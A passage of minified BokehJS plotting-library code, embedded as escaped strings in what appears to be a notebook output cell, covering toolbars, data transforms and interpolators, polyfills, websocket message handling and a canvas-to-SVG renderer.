x=e[b];0<x.length&&this.inspectors.push(y(x,!0))}for(var A in this.gestures){var c=this.gestures[A];0!=c.tools.length&&(c.tools=E.sortBy(c.tools,function(t){return t.default_order}),\\\"pinch\\\"!=A&&\\\"scroll\\\"!=A&&\\\"multi\\\"!=A&&(c.tools[0].active=!0))}},t}(s.ToolbarBase);(i.ProxyToolbar=f).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.model.toolbar.toolbar_location=this.model.toolbar_location,this._toolbar_views={},d.build_views(this._toolbar_views,[this.model.toolbar],{parent:this})},t.prototype.remove=function(){d.remove_views(this._toolbar_views),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-toolbar-box\\\")},t.prototype.render=function(){e.prototype.render.call(this);var t=this._toolbar_views[this.model.toolbar.id];t.render(),o.empty(this.el),this.el.appendChild(t.el)},t.prototype.get_width=function(){return this.model.toolbar.vertical?30:null},t.prototype.get_height=function(){return this.model.toolbar.horizontal?30:null},t}(p.LayoutDOMView);i.ToolbarBoxView=v;var m=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarBox\\\",this.prototype.default_view=v,this.define({toolbar:[r.Instance],toolbar_location:[r.Location,\\\"right\\\"]})},Object.defineProperty(t.prototype,\\\"sizing_mode\\\",{get:function(){switch(this.toolbar_location){case\\\"above\\\":case\\\"below\\\":return\\\"scale_width\\\";case\\\"left\\\":case\\\"right\\\":return\\\"scale_height\\\"}},enumerable:!0,configurable:!0}),t}(p.LayoutDOM);(i.ToolbarBox=m).initClass()},function(t,e,i){var r=t(21),o=t(185),s=t(186);i.compute_renderers=function(t,e,i){return null==t?[]:(n=\\\"auto\\\"==t?e.filter(function(t){return t instanceof o.GlyphRenderer||t instanceof s.GraphRenderer}):t,0<i.length&&(n=n.filter(function(t){return r.includes(i,t.name)})),n);var n}},function(i,t,e){var n=i(391),r=i(279),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJSTransform\\\",this.define({args:[o.Any,{}],func:[o.String,\\\"\\\"],v_func:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),t.prototype._make_transform=function(t,e){var i=this.use_strict?a.use_strict(e):e;return new(Function.bind.apply(Function,[void 0].concat(this.names,[t,\\\"require\\\",\\\"exports\\\",i])))},Object.defineProperty(t.prototype,\\\"scalar_transform\\\",{get:function(){return this._make_transform(\\\"x\\\",this.func)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"vector_transform\\\",{get:function(){return this._make_transform(\\\"xs\\\",this.v_func)},enumerable:!0,configurable:!0}),t.prototype.compute=function(t){return this.scalar_transform.apply(this,this.values.concat([t,i,{}]))},t.prototype.v_compute=function(t){return this.vector_transform.apply(this,this.values.concat([t,i,{}]))},t}(r.Transform);(e.CustomJSTransform=l).initClass()},function(t,e,i){var n=t(391),r=t(279),o=t(181),s=t(15),a=t(44),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dodge\\\",this.define({value:[s.Number,0],range:[s.Instance]})},t.prototype.v_compute=function(t){var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!a.isArrayableOf(t,a.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(a.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){return t+this.value},t}(r.Transform);(i.Dodge=l).initClass()},function(t,e,i){var n=t(272);i.CustomJSTransform=n.CustomJSTransform;var r=t(273);i.Dodge=r.Dodge;var o=t(275);i.Interpolator=o.Interpolator;var s=t(276);i.Jitter=s.Jitter;var a=t(277);i.LinearInterpolator=a.LinearInterpolator;var l=t(278);i.StepInterpolator=l.StepInterpolator;var h=t(279);i.Transform=h.Transform},function(t,e,i){var n=t(391),r=t(279),o=t(15),c=t(21),_=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e._sorted_dirty=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Interpolator\\\",this.define({x:[o.Any],y:[o.Any],data:[o.Any],clip:[o.Bool,!0]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._sorted_dirty=!0})},t.prototype.v_compute=function(t){for(var e=new Float64Array(t.length),i=0;i<t.length;i++){var n=t[i];e[i]=this.compute(n)}return e},t.prototype.sort=function(t){if(void 0===t&&(t=!1),this._sorted_dirty){var e,i;if(_.isString(this.x)&&_.isString(this.y)&&null!=this.data){var n=this.data.columns();if(!c.includes(n,this.x))throw new Error(\\\"The x parameter does not correspond to a valid column name defined in the data parameter\\\");if(!c.includes(n,this.y))throw new Error(\\\"The y parameter does not correspond to a valid column name defined in the data parameter\\\");e=this.data.get_column(this.x),i=this.data.get_column(this.y)}else{if(!_.isArray(this.x)||!_.isArray(this.y))throw new Error(\\\"parameters 'x' and 'y' must be both either string fields or arrays\\\");e=this.x,i=this.y}if(e.length!==i.length)throw new Error(\\\"The length for x and y do not match\\\");if(e.length<2)throw new Error(\\\"x and y must have at least two elements to support interpolation\\\");var r=[];for(var o in e)r.push({x:e[o],y:i[o]});t?r.sort(function(t,e){return t.x>e.x?-1:t.x==e.x?0:1}):r.sort(function(t,e){return t.x<e.x?-1:t.x==e.x?0:1}),this._x_sorted=[],this._y_sorted=[];for(var s=0,a=r;s<a.length;s++){var l=a[s],h=l.x,u=l.y;this._x_sorted.push(h),this._y_sorted.push(u)}this._sorted_dirty=!1}},t}(r.Transform);(i.Interpolator=s).initClass()},function(t,e,i){var n=t(391),r=t(279),o=t(181),s=t(44),a=t(15),l=t(31),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Jitter\\\",this.define({mean:[a.Number,0],width:[a.Number,1],distribution:[a.Distribution,\\\"uniform\\\"],range:[a.Instance]}),this.internal({previous_values:[a.Array]})},t.prototype.v_compute=function(t){if(null!=this.previous_values&&this.previous_values.length==t.length)return this.previous_values;var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!s.isArrayableOf(t,s.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return this.previous_values=i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(s.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){switch(this.distribution){case\\\"uniform\\\":return t+this.mean+(l.random()-.5)*this.width;case\\\"normal\\\":return t+l.rnorm(this.mean,this.width)}},t}(r.Transform);(i.Jitter=h).initClass()},function(t,e,i){var n=t(391),s=t(21),r=t(275),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearInterpolator\\\"},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}if(e==this._x_sorted[0])return this._y_sorted[0];var t=s.findLastIndex(this._x_sorted,function(t){return t<e}),i=this._x_sorted[t],n=this._x_sorted[t+1],r=this._y_sorted[t],o=this._y_sorted[t+1];return r+(e-i)/(n-i)*(o-r)},t}(r.Interpolator);(i.LinearInterpolator=o).initClass()},function(t,e,i){var n=t(391),r=t(275),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StepInterpolator\\\",this.define({mode:[o.StepMode,\\\"after\\\"]})},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}var t;switch(this.mode){case\\\"after\\\":t=s.findLastIndex(this._x_sorted,function(t){return t<=e});break;case\\\"before\\\":t=s.findIndex(this._x_sorted,function(t){return e<=t});break;case\\\"center\\\":var i=this._x_sorted.map(function(t){return Math.abs(t-e)}),n=s.min(i);t=s.findIndex(i,function(t){return n===t});break;default:throw new Error(\\\"unknown mode: \\\"+this.mode)}return-1!=t?this._y_sorted[t]:NaN},t}(r.Interpolator);(i.StepInterpolator=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Transform\\\"},t}(r.Model);(i.Transform=o).initClass()},function(t,e,i){\\\"function\\\"!=typeof WeakMap&&t(342),Number.isInteger||(Number.isInteger=function(t){return\\\"number\\\"==typeof t&&isFinite(t)&&Math.floor(t)===t});var n,l,r,h,o=String.prototype;o.repeat||(o.repeat=function(t){if(null==this)throw new TypeError(\\\"can't convert \\\"+this+\\\" to object\\\");var e=\\\"\\\"+this;if((t=+t)!=t&&(t=0),t<0)throw new RangeError(\\\"repeat count must be non-negative\\\");if(t==1/0)throw new RangeError(\\\"repeat count must be less than infinity\\\");if(t=Math.floor(t),0==e.length||0==t)return\\\"\\\";if(e.length*t>=1<<28)throw new RangeError(\\\"repeat count must not overflow maximum string size\\\");for(var i=\\\"\\\";1==(1&t)&&(i+=e),0!=(t>>>=1);)e+=e;return i}),Array.from||(Array.from=(n=Object.prototype.toString,l=function(t){return\\\"function\\\"==typeof t||\\\"[object Function]\\\"===n.call(t)},r=Math.pow(2,53)-1,h=function(t){var e,i=(e=Number(t),isNaN(e)?0:0!==e&&isFinite(e)?(0<e?1:-1)*Math.floor(Math.abs(e)):e);return Math.min(Math.max(i,0),r)},function(t){var e=Object(t);if(null==t)throw new TypeError(\\\"Array.from requires an array-like object - not null or undefined\\\");var i,n=1<arguments.length?arguments[1]:void 0;if(void 0!==n){if(!l(n))throw new TypeError(\\\"Array.from: when provided, the second argument must be a function\\\");2<arguments.length&&(i=arguments[2])}for(var r=h(e.length),o=l(this)?Object(new this(r)):new Array(r),s=0\\n\",\n       \"      // 13. If IsConstructor(C) is true, then\\n\",\n       \"      ;s<r;){var a=e[s];o[s]=n?void 0===i?n(a,s):n.call(i,a,s):a,s+=1}return o.length=r,o}))},function(t,e,i){var n=t(391);n.__exportStar(t(282),i),n.__exportStar(t(283),i)},function(t,e,i){var n=t(38),r=function(){function s(t,e,i){this.header=t,this.metadata=e,this.content=i,this.buffers=[]}return s.assemble=function(t,e,i){var n=JSON.parse(t),r=JSON.parse(e),o=JSON.parse(i);return new s(n,r,o)},s.prototype.assemble_buffer=function(t,e){var i=null!=this.header.num_buffers?this.header.num_buffers:0;if(i<=this.buffers.length)throw new Error(\\\"too many buffers received, expecting #{nb}\\\");this.buffers.push([t,e])},s.create=function(t,e,i){void 0===i&&(i={});var n=s.create_header(t);return new s(n,e,i)},s.create_header=function(t){return{msgid:n.uniqueId(),msgtype:t}},s.prototype.complete=function(){return!(null==this.header||null==this.metadata||null==this.content||\\\"num_buffers\\\"in this.header&&this.buffers.length!==this.header.num_buffers)},s.prototype.send=function(t){var e=null!=this.header.num_buffers?this.header.num_buffers:0;if(0<e)throw new Error(\\\"BokehJS only supports receiving buffers, not sending\\\");var i=JSON.stringify(this.header),n=JSON.stringify(this.metadata),r=JSON.stringify(this.content);t.send(i),t.send(n),t.send(r)},s.prototype.msgid=function(){return this.header.msgid},s.prototype.msgtype=function(){return this.header.msgtype},s.prototype.reqid=function(){return this.header.reqid},s.prototype.problem=function(){return\\\"msgid\\\"in this.header?\\\"msgtype\\\"in this.header?null:\\\"No msgtype in header\\\":\\\"No msgid in header\\\"},s}();i.Message=r},function(t,e,i){var o=t(282),n=function(){function t(){this.message=null,this._partial=null,this._fragments=[],this._buf_header=null,this._current_consumer=this._HEADER}return t.prototype.consume=function(t){this._current_consumer(t)},t.prototype._HEADER=function(t){this._assume_text(t),this.message=null,this._partial=null,this._fragments=[t],this._buf_header=null,this._current_consumer=this._METADATA},t.prototype._METADATA=function(t){this._assume_text(t),this._fragments.push(t),this._current_consumer=this._CONTENT},t.prototype._CONTENT=function(t){this._assume_text(t),this._fragments.push(t);var e=this._fragments.slice(0,3),i=e[0],n=e[1],r=e[2];this._partial=o.Message.assemble(i,n,r),this._check_complete()},t.prototype._BUFFER_HEADER=function(t){this._assume_text(t),this._buf_header=t,this._current_consumer=this._BUFFER_PAYLOAD},t.prototype._BUFFER_PAYLOAD=function(t){this._assume_binary(t),this._partial.assemble_buffer(this._buf_header,t),this._check_complete()},t.prototype._assume_text=function(t){if(t instanceof ArrayBuffer)throw new Error(\\\"Expected text fragment but received binary fragment\\\")},t.prototype._assume_binary=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Expected binary fragment but received text fragment\\\")},t.prototype._check_complete=function(){this._partial.complete()?(this.message=this._partial,this._current_consumer=this._HEADER):this._current_consumer=this._BUFFER_HEADER},t}();i.Receiver=n},function(t,e,i){i.safely=function(t,e){void 0===e&&(e=!1);try{return t()}catch(t){if(function(t){var e=document.createElement(\\\"div\\\");e.style.backgroundColor=\\\"#f2dede\\\",e.style.border=\\\"1px solid #a94442\\\",e.style.borderRadius=\\\"4px\\\",e.style.display=\\\"inline-block\\\",e.style.fontFamily=\\\"sans-serif\\\",e.style.marginTop=\\\"5px\\\",e.style.minWidth=\\\"200px\\\",e.style.padding=\\\"5px 5px 5px 10px\\\",e.classList.add(\\\"bokeh-error-box-into-flames\\\");var i=document.createElement(\\\"span\\\");i.style.backgroundColor=\\\"#a94442\\\",i.style.borderRadius=\\\"0px 4px 0px 0px\\\",i.style.color=\\\"white\\\",i.style.cursor=\\\"pointer\\\",i.style.cssFloat=\\\"right\\\",i.style.fontSize=\\\"0.8em\\\",i.style.margin=\\\"-6px -6px 0px 0px\\\",i.style.padding=\\\"2px 5px 4px 5px\\\",i.title=\\\"close\\\",i.setAttribute(\\\"aria-label\\\",\\\"close\\\"),i.appendChild(document.createTextNode(\\\"x\\\")),i.addEventListener(\\\"click\\\",function(){return s.removeChild(e)});var n=document.createElement(\\\"h3\\\");n.style.color=\\\"#a94442\\\",n.style.margin=\\\"8px 0px 0px 0px\\\",n.style.padding=\\\"0px\\\",n.appendChild(document.createTextNode(\\\"Bokeh Error\\\"));var r=document.createElement(\\\"pre\\\");r.style.whiteSpace=\\\"unset\\\",r.style.overflowX=\\\"auto\\\";var o=t instanceof Error?t.message:t;r.appendChild(document.createTextNode(o)),e.appendChild(i),e.appendChild(n),e.appendChild(r);var s=document.getElementsByTagName(\\\"body\\\")[0];s.insertBefore(e,s.firstChild)}(t),e)return;throw t}}},function(t,e,n){function r(){var t=document.getElementsByTagName(\\\"body\\\")[0],e=document.getElementsByClassName(\\\"bokeh-test-div\\\");1==e.length&&t.removeChild(e[0]),delete e[0];var i=document.createElement(\\\"div\\\");i.classList.add(\\\"bokeh-test-div\\\"),i.style.display=\\\"none\\\",t.insertBefore(i,t.firstChild)}n.results={},n.init=function(){r()},n.record=function(t,e){n.results[t]=e,r()},n.count=function(t){null==n.results[t]&&(n.results[t]=0),n.results[t]+=1,r()},n.clear=function(){for(var t=0,e=Object.keys(n.results);t<e.length;t++){var i=e[t];delete n.results[i]}r()}},function(t,e,i){i.version=\\\"1.0.1\\\"},function(t,e,i){!function(){\\\"use strict\\\";var _,x,p,d,a;function f(t,e){var i,n=Object.keys(e);for(i=0;i<n.length;i++)t=t.replace(new RegExp(\\\"\\\\\\\\{\\\"+n[i]+\\\"\\\\\\\\}\\\",\\\"gi\\\"),e[n[i]]);return t}function l(t){var e,i,n;if(!t)throw new Error(\\\"cannot create a random attribute name for an undefined object\\\");e=\\\"ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\\\",i=\\\"\\\";do{for(i=\\\"\\\",n=0;n<12;n++)i+=e[Math.floor(Math.random()*e.length)]}while(t[i]);return i}a=function(t,e){var i,n,r,o={};for(t=t.split(\\\",\\\"),e=e||10,i=0;i<t.length;i+=2)n=\\\"&\\\"+t[i+1]+\\\";\\\",r=parseInt(t[i],e),o[n]=\\\"&#\\\"+r+\\\";\\\";return o[\\\"\\\\\\\\xa0\\\"]=\\\"&#160;\\\",o}(\\\"50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro\\\",32),_={strokeStyle:{svgAttr:\\\"stroke\\\",canvas:\\\"#000000\\\",svg:\\\"none\\\",apply:\\\"stroke\\\"},fillStyle:{svgAttr:\\\"fill\\\",canvas:\\\"#000000\\\",svg:null,apply:\\\"fill\\\"},lineCap:{svgAttr:\\\"stroke-linecap\\\",canvas:\\\"butt\\\",svg:\\\"butt\\\",apply:\\\"stroke\\\"},lineJoin:{svgAttr:\\\"stroke-linejoin\\\",canvas:\\\"miter\\\",svg:\\\"miter\\\",apply:\\\"stroke\\\"},miterLimit:{svgAttr:\\\"stroke-miterlimit\\\",canvas:10,svg:4,apply:\\\"stroke\\\"},lineWidth:{svgAttr:\\\"stroke-width\\\",canvas:1,svg:1,apply:\\\"stroke\\\"},globalAlpha:{svgAttr:\\\"opacity\\\",canvas:1,svg:1,apply:\\\"fill stroke\\\"},font:{canvas:\\\"10px sans-serif\\\"},shadowColor:{canvas:\\\"#000000\\\"},shadowOffsetX:{canvas:0},shadowOffsetY:{canvas:0},shadowBlur:{canvas:0},textAlign:{canvas:\\\"start\\\"},textBaseline:{canvas:\\\"alphabetic\\\"},lineDash:{svgAttr:\\\"stroke-dasharray\\\",canvas:[],svg:null,apply:\\\"stroke\\\"}},(p=function(t,e){this.__root=t,this.__ctx=e}).prototype.addColorStop=function(t,e){var i,n=this.__ctx.__createElement(\\\"stop\\\");n.setAttribute(\\\"offset\\\",t),-1!==e.indexOf(\\\"rgba\\\")?(i=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(e),n.setAttribute(\\\"stop-color\\\",f(\\\"rgb({r},{g},{b})\\\",{r:i[1],g:i[2],b:i[3]})),n.setAttribute(\\\"stop-opacity\\\",i[4])):n.setAttribute(\\\"stop-color\\\",e),this.__root.appendChild(n)},d=function(t,e){this.__root=t,this.__ctx=e},(x=function(t){var e,i={width:500,height:500,enableMirroring:!1};if(1<arguments.length?((e=i).width=t,e.height=arguments[1]):e=t||i,!(this instanceof x))return new x(e);this.width=e.width||i.width,this.height=e.height||i.height,this.enableMirroring=void 0!==e.enableMirroring?e.enableMirroring:i.enableMirroring,(this.canvas=this).__document=e.document||document,e.ctx?this.__ctx=e.ctx:(this.__canvas=this.__document.createElement(\\\"canvas\\\"),this.__ctx=this.__canvas.getContext(\\\"2d\\\")),this.__setDefaultStyles(),this.__stack=[this.__getStyleState()],this.__groupStack=[],this.__root=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"svg\\\"),this.__root.setAttribute(\\\"version\\\",1.1),this.__root.setAttribute(\\\"xmlns\\\",\\\"http://www.w3.org/2000/svg\\\"),this.__root.setAttributeNS(\\\"http://www.w3.org/2000/xmlns/\\\",\\\"xmlns:xlink\\\",\\\"http://www.w3.org/1999/xlink\\\"),this.__root.setAttribute(\\\"width\\\",this.width),this.__root.setAttribute(\\\"height\\\",this.height),this.__ids={},this.__defs=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"defs\\\"),this.__root.appendChild(this.__defs),this.__currentElement=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"g\\\"),this.__root.appendChild(this.__currentElement)}).prototype.__createElement=function(t,e,i){void 0===e&&(e={});var n,r,o=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",t),s=Object.keys(e);for(i&&(o.setAttribute(\\\"fill\\\",\\\"none\\\"),o.setAttribute(\\\"stroke\\\",\\\"none\\\")),n=0;n<s.length;n++)r=s[n],o.setAttribute(r,e[r]);return o},x.prototype.__setDefaultStyles=function(){var t,e,i=Object.keys(_);for(t=0;t<i.length;t++)this[e=i[t]]=_[e].canvas},x.prototype.__applyStyleState=function(t){var e,i,n=Object.keys(t);for(e=0;e<n.length;e++)this[i=n[e]]=t[i]},x.prototype.__getStyleState=function(){var t,e,i={},n=Object.keys(_);for(t=0;t<n.length;t++)e=n[t],i[e]=this[e];return i},x.prototype.__applyStyleToCurrentElement=function(e){var t=this.__currentElement,i=this.__currentElementsToStyle;i&&(t.setAttribute(e,\\\"\\\"),t=i.element,i.children.forEach(function(t){t.setAttribute(e,\\\"\\\")}));var n,r,o,s,a,l=Object.keys(_);for(n=0;n<l.length;n++)if(r=_[l[n]],o=this[l[n]],r.apply)if(o instanceof d){if(o.__ctx)for(;o.__ctx.__defs.childNodes.length;)s=o.__ctx.__defs.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[s]=s,this.__defs.appendChild(o.__ctx.__defs.childNodes[0]);t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}))}else if(o instanceof p)t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}));else if(-1!==r.apply.indexOf(e)&&r.svg!==o)if(\\\"stroke\\\"!==r.svgAttr&&\\\"fill\\\"!==r.svgAttr||-1===o.indexOf(\\\"rgba\\\")){var h=r.svgAttr;if(\\\"globalAlpha\\\"===l[n]&&(h=e+\\\"-\\\"+r.svgAttr,t.getAttribute(h)))continue;t.setAttribute(h,o)}else{a=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(o),t.setAttribute(r.svgAttr,f(\\\"rgb({r},{g},{b})\\\",{r:a[1],g:a[2],b:a[3]}));var u=a[4],c=this.globalAlpha;null!=c&&(u*=c),t.setAttribute(r.svgAttr+\\\"-opacity\\\",u)}},x.prototype.__closestGroupOrSvg=function(t){return\\\"g\\\"===(t=t||this.__currentElement).nodeName||\\\"svg\\\"===t.nodeName?t:this.__closestGroupOrSvg(t.parentNode)},x.prototype.getSerializedSvg=function(t){var e,i,n,r,o,s=(new XMLSerializer).serializeToString(this.__root);if(/xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg\\\".+xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg/gi.test(s)&&(s=s.replace('xmlns=\\\"http://www.w3.org/2000/svg','xmlns:xlink=\\\"http://www.w3.org/1999/xlink')),t)for(e=Object.keys(a),i=0;i<e.length;i++)n=e[i],r=a[n],(o=new RegExp(n,\\\"gi\\\")).test(s)&&(s=s.replace(o,r));return s},x.prototype.getSvg=function(){return this.__root},x.prototype.save=function(){var t=this.__createElement(\\\"g\\\"),e=this.__closestGroupOrSvg();this.__groupStack.push(e),e.appendChild(t),this.__currentElement=t,this.__stack.push(this.__getStyleState())},x.prototype.restore=function(){this.__currentElement=this.__groupStack.pop(),this.__currentElementsToStyle=null,this.__currentElement||(this.__currentElement=this.__root.childNodes[1]);var t=this.__stack.pop();this.__applyStyleState(t)},x.prototype.__addTransform=function(t){var e=this.__closestGroupOrSvg();if(0<e.childNodes.length){\\\"path\\\"===this.__currentElement.nodeName&&(this.__currentElementsToStyle||(this.__currentElementsToStyle={element:e,children:[]}),this.__currentElementsToStyle.children.push(this.__currentElement),this.__applyCurrentDefaultPath());var i=this.__createElement(\\\"g\\\");e.appendChild(i),this.__currentElement=i}var n=this.__currentElement.getAttribute(\\\"transform\\\");n?n+=\\\" \\\":n=\\\"\\\",n+=t,this.__currentElement.setAttribute(\\\"transform\\\",n)},x.prototype.scale=function(t,e){void 0===e&&(e=t),this.__addTransform(f(\\\"scale({x},{y})\\\",{x:t,y:e}))},x.prototype.rotate=function(t){var e=180*t/Math.PI;this.__addTransform(f(\\\"rotate({angle},{cx},{cy})\\\",{angle:e,cx:0,cy:0}))},x.prototype.translate=function(t,e){this.__addTransform(f(\\\"translate({x},{y})\\\",{x:t,y:e}))},x.prototype.transform=function(t,e,i,n,r,o){this.__addTransform(f(\\\"matrix({a},{b},{c},{d},{e},{f})\\\",{a:t,b:e,c:i,d:n,e:r,f:o}))},x.prototype.beginPath=function(){var t;this.__currentDefaultPath=\\\"\\\",this.__currentPosition={},t=this.__createElement(\\\"path\\\",{},!0),this.__closestGroupOrSvg().appendChild(t),this.__currentElement=t},x.prototype.__applyCurrentDefaultPath=function(){var t=this.__currentElement;\\\"path\\\"===t.nodeName?t.setAttribute(\\\"d\\\",this.__currentDefaultPath):console.error(\\\"Attempted to apply path command to node\\\",t.nodeName)},x.prototype.__addPathCommand=function(t){this.__currentDefaultPath+=\\\" \\\",this.__currentDefaultPath+=t},x.prototype.moveTo=function(t,e){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.__currentPosition={x:t,y:e},this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.closePath=function(){this.__currentDefaultPath&&this.__addPathCommand(\\\"Z\\\")},x.prototype.lineTo=function(t,e){this.__currentPosition={x:t,y:e},-1<this.__currentDefaultPath.indexOf(\\\"M\\\")?this.__addPathCommand(f(\\\"L {x} {y}\\\",{x:t,y:e})):this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.bezierCurveTo=function(t,e,i,n,r,o){this.__currentPosition={x:r,y:o},this.__addPathCommand(f(\\\"C {cp1x} {cp1y} {cp2x} {cp2y} {x} 